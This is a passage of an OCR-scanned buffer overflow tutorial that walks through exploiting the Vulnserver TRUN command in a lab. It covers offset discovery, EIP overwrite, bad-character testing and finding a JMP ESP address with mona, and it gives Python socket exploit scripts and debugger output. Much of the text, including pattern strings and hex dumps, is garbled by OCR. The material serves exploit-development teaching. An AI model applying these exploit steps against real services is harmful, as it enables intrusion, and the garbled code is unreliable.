Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9CedCelCe2Ce3CesCe5Ce6Ce7CeB8Ce9CFOCTICF2CF3CT4CF5CF6CT7CF8CTICg0Cg1Ce2Cg3Cg4
Cg5CghCg7Cg8CgIChOChICh2Ch3Ch4Ch5Ch6Ch7Ch8Ch9CiACi1Ci2Ci3Ci4Ci5CieCi7Ci8C19CjACj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8CIICkOCk1Ck2Ck3
Ck4Ck5Ck6Ck7Ck8Ck9C1LOCT1C12CL3CL4CL5CTL6CL7CL8CTIICMOACMICM2CM3Cm4Cm5CM6CM7Cm8CMICNOCN1CN2CN3Cn4Cn5CN6CN7Cn8CN9Co0C01Co2
C03C04C05C06C07C08C09CPACPICP2CP3Cp4Cp5Cp6Cp7Cp8Cp9CqaCqlCq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9CraCr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8CroCsnCsl
Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9CtOCtLICt2Ct3CL4CL5CTHCL7Ct8CTICUOCUICU2CU3CU4CuS5CubCu7Cu8Cu9CvBCy1Cy2Cv3Cv4Cy5Cv6Cy7Cv8CVICWO
Cw1Cw2Cw3Cw4Cw5Cw6Cw7 Cw8CwICXBCX1Cx2CXx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0OCY1Cy2Cy3Cy4Cy5Cy

We need to copy this code, and include it in our python script. | have copied the script to a new file
called fuzzer_offset.py. But first we need to remove some things.

We need to remove the sleep import, we don't need the while loop so we can just say try, we will
change buffer to offset, and remove the buffer = buffer line completly

We will make a few other alterations but your finished script should look like this:
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#!/usr/bin/python

import sys, socket

offset =
"AaOAalAa2Aa3RAad4habAabAa’/Ra8Aa9Ab0AblAb2ADL3AL4ALSALO6ALTADS8ADIACOACIAC2AC3ACS
Ac5Ac6AcTAcC8ACI9AdOAdIAd2Ad3Ad4Ad5Ad6AdTAdBAdSAe0AelAc2Ae3Ae4Ac5Acb6Ae7Aec8A9A
fOAfIAf2Af3Af4AfOAf6ALTAL8ATI9Ag0AgLIAG2Ag3Ag4AgoAgH6AGTAGE8AGIANOANIAN2AN3AN4AN
5Ah6Ah7Ah8AN9AIO0AI1AI2AI3A14AI5AI6A17AI8AI9AJ0AJ1IAJ2AF3AJ4A 5A]6A]TAJ8A]I9AKO
Ak1Ak2Ak3Ak4Ak5Ak6AKTAKBAKOAIOALIIAIZ2AI3ALI4A1I5A16A1TAI8AI9AMOAMI AMZ2AM3AMAAMSA
m6AmM7AMSAMIANOANIANZ2AN3AN4AN5AN6ANTANBAN9A00A01IA02A03A04A05A06A07TA08A09AP0AD
1ApP2Ap3AP4APSAP6AP TAPSAPIAqOAqlAg2Ag3Aq4AgSAg6AqTAG8AgOArO0Ar1ATY2Ar3Ar4ATr5AY6
Ar7Ar8Ar9As0As1As2As3As4As5As6As/As8ASOALOALIAL2AL3ALt4ALOAL6ALTAE8AL9AUOAULA
u2Au3Au4AubAU6AUTAUBAUIAVOAVIAVZ2AVIAVAAVSAVHAVT/AVEAVIAWOAWI AWZAWIAWAAWSAWOAW
TAWBAWIOAXOAX1IAX2AX3AX4AXOAX6AXTAX8AXOAYO0AY1AY2AY3AYAAYSAY6AYTAY8AYIAZOAZ1AZ2
Az3Az4Az5Az6Az7TAz8Az9BalBalBa2Ba3Ba4BabBa6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb 7B
b8Bb9Bc0Bc1lBc2Bc3Bc4BcSBc6Bc7Bc8Bc9BA0BA1BA2BA3Bd4Bd5BAd6Bd7Bd8Bd9Be0BelBe2Be
3Be4Be5Be6Be7Be8Be9BfOBf1Bf2BEf3Bf4REf5Bf6Bf7Bf8Bf9Bg0BglBg2Bg3Bg4Bg5Bg6Bg7Bg8
Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B1i1Bi2Bi3B1i4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3B
74Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9B10B11B12B13B14B15B16B17B18B1
9BmOBm1Bm2Bm3Bm4Bm5SBm6Bm7Bm8BmOBn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bol1Bo2Bo3Bo4
Bo5B0o6B0o7B0o8Bo9Bp0Bpl1Bp2Bp3Bp4Bp5Bp6Bp /Bp8Bp9Bq0BglBg2Bg3Bg4BgSBg6Bg7Bg8BgIB
rOBrlBr2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt 3Bt 4Bt
5Bt 6Bt7Bt8Bt9BulOBulBu2Bu3Bu4BubSBu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7/BvE8BVIBWO
BwlBw2Bw3Bw4Bw5BwW6Bw7Bw8BwIBx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5B
y6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9CalCalCa2Ca3Cad4CabCabCa’7Ca8Ca9Cb0Cb
1Cb2Cb3Cbhb4Ch5Ch6CHh7CHb8CHbICcOCc1ICc2Cc3Cc4CchCchCc7CcB8CcICAOCAICA2CA3Cd4ACALCA6
Cd7Cd8Cd9Ce0CelCe2Ce3Ce4CebCe6Ce7Ce8Ce9CEOCEICE2CE3CE4ACESCEOCETCEBCEICgOCLC
g2Cg3Cg4CgbCg6Cg7Cg8Cg9ChOCh1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5CieC1
7Ci8C1i9Cj0Cj1Cj2Cj3Cj4Cj5C76CHT7CI8CII9Ck0Ck1Ck2Ck3Ck4Ck5CkoCk7Ck8CkoC10CLI1ICL2
Cl3C1l4C15C16C17C18C19CMOCMICM2CM3Cm4Cm5Cm6Cm7Cm8CmICN0CN1Cn2Cn3Cn4Cn5Cn6Cn7C
n8Cn9Co0C01C02C03C04C05C06C07C08C0o09CPOCP1CP2CPp3Cp4Cp5Cp6Cp7Cp8Cp9CalCglCg2Cyg
3Cg4Cg5bCgbCg7Cg8Cg9Cr0Crl1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4CsbCs6Cs7Cs8
Cs9Ct0CtICt2Ct3Ct4Ct5CtHCLETCLE8CLICUOCUICu2Cu3CudCudCubCu7Cu8Cu9Cv0Cv1iCv2Cv3C
v4Cv5CveCvTCv8CvICWOCWICW2Cw3CwaCwS5CwoCw7Cw8CwICx0OCx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx
9Cy0Cy1lCy2Cy3Cy4Cy5Cy"

try:
s=socket.socket (socket .AF INET, socket.SOCK STREAM)
s.connect (('192.168.74.132"',9999))
s.send(('TRUN /.../' 4+ offset))
s.close ()
except:
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print "Error connecting to the server"

sys.exit ()

All this is doing is sending the the value of offset to the server and if it fails we will receive a error
message. When we send this we will get a value from the EIP and we will use another tool that will look
at that value and find the offset.

Before we start we need to change the mode of our new script:

chmod +x fuzzer offset.py

And we need to set up immunity and Vulnserver.

Now all thats left to do is run our script.
python2.7 fuzzer offset.py

Over in Immunity we can see that our value was sent to the server.
AX OOBIF1E8 ASCII "TRUN /... /AaPAalAaZAa3AadAaSAabAa7Aa8Aa9AbOAblAb2Ab3Ab4AbSAbGAD)

UOOJINO

207943

PPPBR12C

ggggzggg ASCII "8Co9CpBCplCp2Cp3Cp4CpoCpblp7Cp8LpICqCqlCq2Cq3Cq4lqbCqblq7Cqg8 Cq
00491848 vulnserv.BB8401848

29401848 vulnserv.BBd401848

1B 9 lEg ASCII "TRUN -...rsAaBAalAaZAa3AadAasSAabAa7Aa8Aa9AbBAb1AbZAb3Ab4ALSAbBG6ADTAD

SP @PBIFIC8 ASCII "8Co9CpPCP1Cp2CPp3CPp4CpSCp6CP7CP8CPICaACq1Cq2Cq3Cqd4CaSCab6Cq7Cq8CqIC

09491848 vulnserv.BB0401848
29491848 vulnserv.B491848

6F43376F

Which means we have gone too far. This means we have completely overwritten everything.

But what we are interested in here is the value of the EIP which is:

6F43376F

ESI 00401848 vulnserv.00401848

EDI 9604801848 vulnserv.808401848
EIP 6F43376F

We need to go back to our terminal and run:

/usr/share/metasploit-framework/tools/exploit/pattern offset.rb -1 2300 -g
6F43376F

When we hit enter we get a exact offset of 2002.
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~/Documents/TCM/buffer_overflow

2300 6F43376F
[*] Exact match at offset |2002

How it does this is by looking at our original value and finds a match to when it hit the EIP. This
information is critical because now we know the exact amount of bytes we need to overwrite the EIP
which is what we will be doing in the next chapter

5.0verwriting the EIP

Now we are going to attempt to overwrite the EIP.

The exact offset was 2002 bytes.
~/Documents/TCM
2300 6F43376F

[*] Exact match at offset|2002

What this means is there are 2002 bytes before we reach the EIP. The EIP its self is 4 bytes long. What
we will try to do is overwrite those 4 specific bytes.

As always let's get Immunity and Vulnserver running. And jump into our Kali Linux machine.

We want to edit the last script we wrote. | have wrote it to a new file called fuzzer_EIP.py

import sys, socket
shellcode = "A" * 2002 + "B" * 4

try:
s=socket.socket (socket .AF INET, socket.SOCK STREAM)
s.connect (('192.168.74.132"',9999))
s.send(('TRUN /.../' + shellcode))

s.close ()

except:
print "Error connecting to the server"

sys.exit ()

First thing is to delete the offset variable as we don't need it anymore. And we will change the offset
value in s.send to shellcode

We want to give shellcode the value of:

shellcode = "A" * 2002 + "B" * 4
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Here we are replacing what we used to find the offset with the shellcode variable, the shellcode is
nothing but A's and B's right now but its going to get malicious as we move forward. What we are doing
is sending 2003 A's because that is where the EIP starts so byte 2004 starts the EIP

We want to make sure that we don't overwrite the EIP with A's and have no idea if we are correct. Look
atit as A's are for 1's and B's are for 2's. So in theory we should see 42424242 in the EIP when we
overwrite it.

Now all thats left to do is run this. But first remember to change mode.
chmod +x fuzzer EIP.py

Then run:

python2.7 fuzzer EIP.py

Let's head over to Immunity to see what's happened.

EAX ODAOF1ES ASCII "TRUN /... /AAAAAAAAAAAAAAAAAAAAAAAAAAANAAAAAAAAAAAAAAAAAAAAAAA
YYD AS

alnlnlnl5]5]sln)
PRRYA12C

EBP 41414141

@(FFFFFFFF)
32bit @(FFFFFFFF)
32bit @(FFFFFFFF)
32bit @(FFFFFFFF)
32bit 3CFOOA(FFF)
32bit @(FFFFFFFF)

ERROR_SUCCESS (00020000)

00010246 (NO,NB,E,BE,NS,PE,GE,LE)

empty

empty

empty

empty

empty

empty

empty

empty g

3218

PP Cond @ B @ @ Err
B27F Prec NEAR,S53 Mask

We can see that our A's have been ran in red then the A's hit the EBP as A = 41 and look at the EIP its
value is 42424242 which is equal to 4 B'S as B = 42 because we only sent 4 B's this is telling us that
we have overwrite the EIP and haven't overflowed any further which was our goal. This now means we
control the EIP.

6.Finding Bad Characters

Now we are going to talk about finding bad characters. When we talk about finding bad characters we
are talking about generating shellcode. When we generate shellcode we need to know what characters
are good for the shellcode and which ones are bad for the shellcode. We can achieve this by running all
the hex characters through our program and see if any of them act up.
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By default the null byte (x00) acts up. We are going to take a look at what some of these look like and
see if any of them act up in our program. To achieve this we need to head over to the GitHub repository
below.

& cytopia / badchars ' public @® Watch 2

<> Code (2) Issues 1Y Pullrequests (») Actions [[J Projects (@ Security [~ Insights

¥ master ~ P 1branch 4 tags Go to file Add file ~ <> Code ~

cytopia Merge pull request #9 from cytopia/release-0.5.0 |-

I nrEEE o

.github/workflows Follow semver and add GitHub actions

.gitignare

ONTRIBUTING.Md Add contributing quidelines 3 years ago

What we have here is a bad character generator. If we scroll through we will see all different ways we

can utilize this. For this example we will be copying the python script that is provided.

$ badchars -t python

badchars = (

VIRV CPAVCEAVCIAVEEAV CIAV CIAVCEAV CEAVCEAVCLIAVCIAVCHAVCIAVCIAVE [N
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
AV OARVOPAVOEAV O LAVOLAV e 1AV ONAVOLAV LAV O EAV LAV OIAV oL AVeIAV e AV E] M
BV ENAVEVAVEEAV EVAVERVEAV ETAVELAVEL AV EFIVE AV ETAV e LAV EAV E AV I
"\ x41\ 242\ xA43\x44\ 45\ x46 \x47\ %48\ x49\ x4a\x4b\x4c\x4d \x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56 \x57\x58\x59\x5a\x5b\x5¢c\x5d\x5e\x5F\x60"
BV GIAVGPAVGEAV TAV.GEAV GIAVGIAV CEAVGEAV GEAVGIAVGIAVGHAV.GIAV G AV e/
"NX71\XT2\X73\X7A\X75\X76 \X77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7T\x80"
VAV EPAVEEAVEIAVERAV G AV ETAVCEAVEEAVEEAVELAVETAVE LAV ETAVET AV ED N
BAVCUAVCPAVCEAVCEAVELAVCIAVCTAVCEAV CEAVEEAVCLAVETAVCHAVCEIAVEIAVED M
BVCHAVEPAVEEAV EIAVERAV AV CTAVEEAV ELAVEEIVELAVETAV CUAVEAVE AV G N
VIRV OPAVGEAVGIAVOGEAV GIAV CTAVGEAVGEAVGEAVGLAVOIAV LAV GIAVGI AV
"\xc1\xc2\xc3\xca\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xdo"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xdo\xda\xdb\xdc\xdd\xde\xdf\xed"
"\xel\xe2\xe3\xed\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xfo"
"\xf1\xF2\xf3\xfa\xfs\xfe\xf7\xfa\xfo\xfa\xfb\xfc\xfd\xfe\xff"

With this we want to paste it into our fuzzer_EIP.py. But personally | am going to past this into a brand
new script called badchars.py. Your script should look like the one below.
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#!/usr/bin/python
import sys, socket

badchars = (

"\XxQ1\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1lc\x1ld\x1le\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\X41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\ x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5F\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6T\x70"
"\X71\X72\X73\X74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8F\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xad"
BV EIAVEVAVEEAY CUAV ERAV CAAY CYAY CEAV CEAVEELY C AV E AV E AV EEAVE AT GLN
"\xb1\xb2\xb3\xbh4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc@"
"\xcl\xc2\xc3\xc4\xc5\xcb6\xc7\xc8\xc9\xca\xch\xcc\xcd\xce\xcf\xdo"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xed"
AV CIRVCPAVCEAY CIAV CEAY CIOAY CYAY CEAY CEAVEEAY CLAV LAY CLAVY CEAVCIAY SN
"\XTIANXF2\XxF3\xFA\XF5\XxFOA\XTF7\xF8\xfI\xFa\xfb\xfc\xfd\xfe\xff"

r -

shellcode = "A" * 2002 + "B" * 4
24
25 try:
26 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
27 s.connect(('192.168.74.132"',9999))
28 s.send(('TRUN /.../' + shellcode))
29 s.close()
30
except:
32 print "Error connecting to the server"
33 sys.exit()

What we are doing here is running every single character in hex through our Vulnserver. Some
programs have characters that run specific commands that tells it to do something. We don't want to
use any characters that do this as it will break the shellcode. What we will be doing is parsing all of
these through the program and we check to see what looks out of place.

If you made a new script don't forget to change the mode.

chmod +x badchars.py

As we have done many of times head to your Windows machine and set up immunity and Vulnserver.
Now all we need to do is fire this off.

python2.7 badchars.py

Going back to Immunity we will see that we have crashed the system.

We can also see that the EIP is 42424242
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Home » Windows 10 x64 » kali-linux-2022.4-vmware-am...

ow Help Jobs
mtwheDPkbdz1l.s ? e

~ Registers (FPU)
EAX Gﬂzézégg ASCII "TRUN ... /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

41414141
1 99491848 vulnserv.@0401848
00401848 vulnserv.00401848

42424242

)
FF)
FF)
)
)

GS 0e2B i :-:)
LastErr SUCCESS (00000000)
00210246 (NO,NB,E,BE,NS,PE,GE,LE)

empty
empty
empty
empty
empty
empty
empty
empty

2000
027F

T wnnnnnnn M OD—HNN>T

Address ~ @AIAFICE 00 .G«
FF FF FF [] [=]] i <. ASCII "TRUN /... /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN
L

o

G<. ASCIT "TRUN /.../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

2> 34000 0000~ OV 107D DWW

9AFAZ0 @00PECRZ 8. . .

ARARGAAR

But what we are really interested in is the hex dump.

What we can do is right click on the ESP and select "follow dump"

Registers (FPU) < < < < < < < < < <
gggggéﬁg ASCII "TRUN /. : /7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS
PBFFFEFD

(rlrlririrkKelod

BREZF9C8

FEVEV CWE] Increment Plus
p401848 Decrement Minus
00401848 .

42424242

Enter

Cirl+C

LastErr
PoR10246

empty
empty
empty
empty
empty
empty
empty
empty

After running this hex output was full of bad characters. this made me realise there was a mistake in my
script.

It needs to be changed to.

s.send( (' TRUN . /|' *—shetteeder—— CORRECT
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And because there is one less character in this. We need to add one more "A" making a total of 2003

Ly g Y Y = MYy

TMOO@R =0~ UTRWUNED
- b b

This is because Vulnserver was designed to have no bad characters, but if one of these characters
were replaced by one that didn't follow the correct sequence then that is a bad character. Let's look at a
example with bad characters.

B01FF1D8 81 82 @: A6 @7 Cbw - -0
881 FF1D8 (5]4] | . -8 . . [l
BB1FF1 I:EJ 12 13 1« b 17 41MME.2T
BB1FF1E8 19 1A G : Lrewgy
BA1FFiFa 21 22 : 5 26 27 i Y
HHIFFIP 2h 2B 2C 2D 2E 2F : s, —_/B
B1FF2 3£ 33 34 35 3 ! 12ii' 678
} 39 - : : 9::;<4=27R
ABC: = FGH
I JKLHMNOP
QRSTUUWE
YZis1~_"
abecdefgh
ijklmnop
BO1F } 1 72 7 : B grstuvwx
BA1F } 7 TE : ;._" B i rl
BA1F . 2 83 84 ¢ 5 87 8 uEdi1a
BA1F } G : Eeiiia I'.5
BA1F j 2 9 b 97 ad!-::ouuuu
BA1F ) ]
BA1F i b A7 1uunH
MUl F i HY = 1 58 oo
HHI E' 31 - < = d . ?l 1 *”nl
@O1FF288 BS - 38 ca [l
BA1F = 1—|- | H|L
BA1iF } C - . CF —

BA1F
@A1F
BA1F
PA1FF2C8

Right away we are missing 04 and 05 and have been replaced by BO. If we keep looking through we

891 FF208 D1 D 3 I "
@@1FF2A8 DY DA D _ ) TeriuuTt

Br ﬂfﬁi,l'['ﬁ

A BNbesEN=
B 2L plemo

R .
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will notice that there are more bad characters that have been replaced by BO. It won't always be BO but
it could be anything that is out of place.

Address Hex dump ASCII
FIDB & 82 @3 b B7 B8 Obw ¢
89 BA BB BT - AF 18 ..8. .
11 12 13 . 16 17 18 41'95.11

19 1A 1B 1C 1D 1E 1H/{r= et 4
FF1Fi 2 23 24 25 26 2 tURS <R’
1 F8 2A 2B 2C 2D 2E 2F 3 .
' ' 32 33 34 35 36 37 38 1. r
1} - - I-"

39 3A 3B 3E 3F 40 9:;<
41 42 43 EM| 16 47 48 ABC
19 4A 4B 9C 4E 4F 58 [JKLHNOP
52 53 54 55 56 57 58 QRSTUUWH
S5A 5B 5C 5D S5E S5F 68 YZI~\]1"_"
b2 63 64 b5 66 67 68 abcdefgh
6A 6B 6C 6D 6E 6F 70 ijklmnop
72 73 74 75 76 V77 78 qrstuvux
A 7B C 7D 7 7F BB vyz={ 1>"™al
82 83 84 85 86 87 88 u '
BA BB BC BD BE 8F 990 Eeii
92 93 94 95 96 97 98 aftoGouny
94 9B 9C 9D 9E OUCEYRFA
A2 A3 A4 AS A’ HARN22L
AR AB AC AD

B2 B3 B4 BS . 2
BA BC BD I || 5
e — oy AT l".l
CA - - I T

D2 : % D7 .y

DA DC ? ] ;IJ

E2 E4 ES Eb E PI'liloputd
EC ED EE EF N6 osE N
F4 FS F6 F7 £2€ p) 45
FC FD FE FF

Here we can see that we are missing 04, 05, 28, 29, 44, 45 etc You will notice that some of them are

a
|

highlighted in green. this is because there are a couple of exceptions to the rule here. Firstly if there are
2 bad characters inline with each other then only the first one is bad the second one in green is fine and
can be ignored. The one that is not joined to another is the actual character that should there because
after AF comes BO. The only bad characters here are 04, 28, 44, BE, CC. If this was our actual hex
dump it would be important for us to take note of these bad characters, as it would be critical when we

create our shellcode.

7.Finding the Right Module

Now we need to find the right module. What we mean by this is we need to find a dll or something
similar inside of the program that has no memory protections meaning no DEP no ASLR etc. There is a
tool out there called Mona Modules we can use with Immunity Debugger to achieve this.

Go out to google and search:

Mona Modules
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B” MicrosoftBing Q. mona modules 0 [

Q_ SEARCH () cHat IMAGES VIDEOS MAPS NEWS i MORE
About 6,070,000 results Date ~ Open linksinnew tab @D
GitHub - corelan/mona: Corelan Repository for mona.py 3%
A
https://github.com/corelan/mona ~
Web Mona.py is a python script that can be used to automate and speed up specific searches

while developing exploits (typically for the Windows platform). It runs on Immunity ...

Open Website

From here we need to download the ZIP to our Windows machine.
A s ¥ T
Downloads P Qe -

=

< O 5 https://github.com/corelan/mona

R

| Sign up |
. mona-master.zip
@
& corelan / mona ' Public 8 e more P
¢> Code (&) Issues 1 I Pullrequests (¥) Actions [ Projects @ Security L
1
¥ master - Go to file m About 6
' Local Codespaces Corelan Repository for mona.py a
[0 Readme
Clone
0 b ® B8 BSD-3-Clause license L4
i Code of conduct
0 HTTPS  GitHub CLI & Code of conduc &
v¥ 1.5k stars
https://github.com/corelan/mona.git 0
B C & T4 watching +
B Use Git or checkout with SVN using the web URL % 556 forks
O (3] Open with GitHub Desktop
0O Releases
il D load ZIP
D
‘= README.md
Packages e
Mo packages published 2\3_:3
mona <
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Open the folder and look for mona.py.

Clipboard Organise Mew Cpen Select
« v A » ThisPC » Downloads » mona-master » mona-master v O Search mona-master
~
Mame Date modified Type Size
# Quick access

travis.yml 023 12:30 YML File 1 KB

[ Desktop - v ' )
| CODE_OF_CONDUCT.md MD File 4KB
3 Downloads | issue_template.md MD File 1 KB
| Documents [ ucense File 2kB
&= Pictures ~ mona Python File 641 KB
D Music [ README.md MD File 2KB
B Videos _| VERSIOM File 1KB

@ OneDrive - Personal
3 This PC

=¥ Metwork

Then we want to move this script in to this folder. (For some of you it my just say "Program Files")

} This PC » Local Disk (C:) » Program Files (x88) » Immunity Inc »  Immunity Debugger » F'j,.fCu:ummandsl

s Mame B Date medified Type Size
= = modptr 28/02/2011 18:04 Python File 4 KB
~ mona 03/03/2023 12:30 Python File &41 KB
Iz ~ nohooks 16/11,/2010 19:39 Python File 1 KB
ts = openfile 16/11,/2010 19:39 Python File 1 KB
¥ A narlate 1R#11 730N 10.20 D than il 11 kP

n selected 640 KB
Once this is done start up Vulnserver and attach it to Immunity Debugger.
At the bottom of Immunity you will see a text bar in this we want to type:

!mona modules

0P403370
0P403380
BB A

[A

)
%
%
%
%

193
4033
Imona modules

[12:42:41]1 Thread BABBBAS4 terminated. exit code @

- TR e e e e e e e U
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You should receive this output.

Immunity Debugger 1.85.8.8 : R’lyeh

Need support? visit http //forum. immunityinc.com/

Error accesing memor

File ’C:\Usera\grmshiDesktop\vulnserver-master\vulnserver.exe’
1D B0@P1ZAC created

sers\grmsh\Desktop\vulnserver-master\essfunc.dll
:\Windows\system3Z\mswsock.d11
*\Windows \SYSTEM3Z\apphe Ip_d1 1
:\Nxndnws\SyskEmSZ\msvcr{ dll
:\Hindows \System32\H52_3:
I\l ndows NSy 2t Sma2\KERNEL BASE. d11
:\Windows \System32\KERNEL 32 DLL
:\Ihndnws\SystemEZ\RPCR'M dll
\Hindows \SYSTEM32\ntdl1.d11
[12:41:561 Attached process paused at ntdll.DbgBreakPoint
[i2z 591 Thread @@PP17A8 terminated, exit code @
[12:42:41]1 Thread @@OOBASA terminated, exit code @
+1 Command used:
fmona modules

Mona command started on 2023-03-08 12:44:32 (v2.0, rev 628)
[+ Processing arguments and criteria
- Pointer access level :
[+1 Generating module info table, hang on...
rocessing modules
r

r\essfunc.dll)

% 7630c
Bx74bf 2000 00052 1 o 5 - ows \s ystem32\mswsock.dl1l)
0x74cbfB00 | ©x0009f 000 041 N;ndows\SYSTEH”Z\apnhelp dil)
0x00407000 @xQZIBLﬂGG@ master\vulnserver.exe)
Bx 76460200 0% 000f 0 C:\Wi ndows\System”Z\KERNEL32 DLL)

Bx75860000 Bx7591f 000 E’x@lBDbFGEﬂZI H ws\System32\msvcrt.dll)

0x77920000 | 0x77544000 | 0x001a4000 16 7 tdli, d1D)

0x 7650000 Ux7666el30i| @xLZDDbeGEM 9 RPC . : indows\System32\RPCRT4.d11)

0% 76000000 BOx 76063 Bx! 9041.1081 [US! X Hindows\System32\WSZ_32.DLL)

[+] Preparing output file 'modules.txt’
- (Re)setting logfile modules.txt

L+] Thls mona. ction took ©:00: BO 264000
New thread uuth ID PPROREELC create
[12:48:231 Thread OVOAVE6C termlnat(d exit code @

Rebase | SafeSEH | ASLR | NXCompat i 0S D11 Version, Modulename & Path

Bx 62500000
Px 760f 0000
\Hindows\s em3Z2\mswsock.dl1
] ( \Hindows \SYSTEM32\apphelp.dl1l)
\Users\grmsh\Desktop\vulnserver-master\vulnserver.exe)
Bx763c0000 ©x000f 0000 .DLLI1 (C:\Windows\System32\KERNEL32_ DLL)
Bx75860000 0! 0x000bf 000 i lC “Hindows\System32\msvcrt.dll)
Bx77938l3ij8 1 Bx77b44000 92x001a4000 10 .dll1] Windows\SYSTEM32\ntdl1.dl1l)
Dx 7666200 Ox000be 200 Lllndows\SystemBZ\RPCRTd dll)
0 n m_;Z\llSZ _32.DLL)

ix 74c 2! x 74chbf 000 @: f 0
Bx 00420000 % 00 9% 0007000

The first one we see is very interesting all the safety features have returned false across the board and
looking at the file path we can see that it is attached to Vulnserver. The dll is called essfunc.dll. We will
keep a note of this for future reference.

We also need to find the Opcode equivalent. "An opcode (abbreviated from operation code, also known
as instruction machine code, instruction code, instruction syllable, instruction parcel or opstring ) is the
portion of a machine language instruction that specifies the operation to be performed. Beside the
opcode itself, most instructions also specify the data they will process, in the form of operands." To do
this we need to jump into our Kali machine, and we need to use something called "nasm_shell.rb"

All we need to do is type:
/usr/share/metasploit-framework/tools/exploit/nasm shell.rb

You should receive a nasm shell.

nasm

When we say we are looking for the opcode equivalent we are trying to convert assembly language into
hex code

First we will type:

JMP
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This is what we call a JMP command we will use this to tell the EIP to jump to our malicious code

~/Documents/TCM/buffer_overflow

'mona -s "\xff\xed4" -m essfunc.dll
JBADF WML ona.py & Llon_took W:Wd: Uy, Z6Hd0y
9D B Ne ead D B¢ PEGC created
18 cad DO E6C terminated, exit code @

Imona find -s "\bdf\xeil" -m essfunc.dll I
[12:48:231 Thread DBPBBEGC terminated, exit code @
RN

To make sense of this xff is =FF as xef =EF x being a byte with the hex value, and -m is selecting the

essfunc.dll module.
When we run this we receive this output.

les essfunc.dll
fo table, hang on...

- - L] -aw LJ -
» -
Ax 620 = =2 o AL RE AL = .
] .fA;"] DD =3 H A ﬂ:=1| 4 ;'l = -
Ax 6250 ] = ] H “ECL READ] = -
Ax 625801 1d =2 - “ECU READ) = .
Ax 625801 1d = £ “ECL READ] = -
Ax 625801 1eb =2 o “ECL READ] = .
Ax 6250 1 e £ - A ¥ECU READ ) 3= .
Ax 620 & = = P AL “ECL RE AL =
Ax 620V /) =2 = A G XECU RE AL =

Lets make a note of the first address.

625011af

https://t.me/learningnets



Armed with this information we need to go into Kali and open a new terminal.

Once again we need to edit our python script, but as always | will create a new file. Instead of having
four B's in front of the EIP we are going to put this pointer there. We are going to have the EIP be a
JMP code, and the JMP code is going to point to our malicious code. We are going to enteritin a
special way as shown below.

"\xaf\x11\x50\x62"

What you should notice is we have put this in reverse order. We have done this for a reason. When we
are talking with x86 architecture we are doing something called little endian format

"In computing, endianness is the order or sequence of bytes of a word of digital data in computer
memory. Endianness is primarily expressed as big-endian (BE) or little-endian (LE). A big-endian
system stores the most significant byte of a word at the smallest memory address and the least
significant byte at the largest. A little-endian system, in contrast, stores the least-significant byte at the
smallest address." x86 architecture actually stores the lower order byte at the lowest address and the
higher order byte at the highest address which means we have to put it in reverse order.

Here is a copy of the finished script.

#!/usr/bin/python

import sys, socket
shellcode = "A" * 2003 + "\xaf\x11\x50\x62"

try:
s=socket.socket (socket .AF INET, socket.SOCK STREAM)
s.connect (('192.168.74.132',9999))
s.send(('TRUN /.:/'" + shellcode))

s.close ()

except:
print "Error connecting to the server"

sys.exit ()

What this should do now is throw the same error but we should hit a JMP point. We can do something
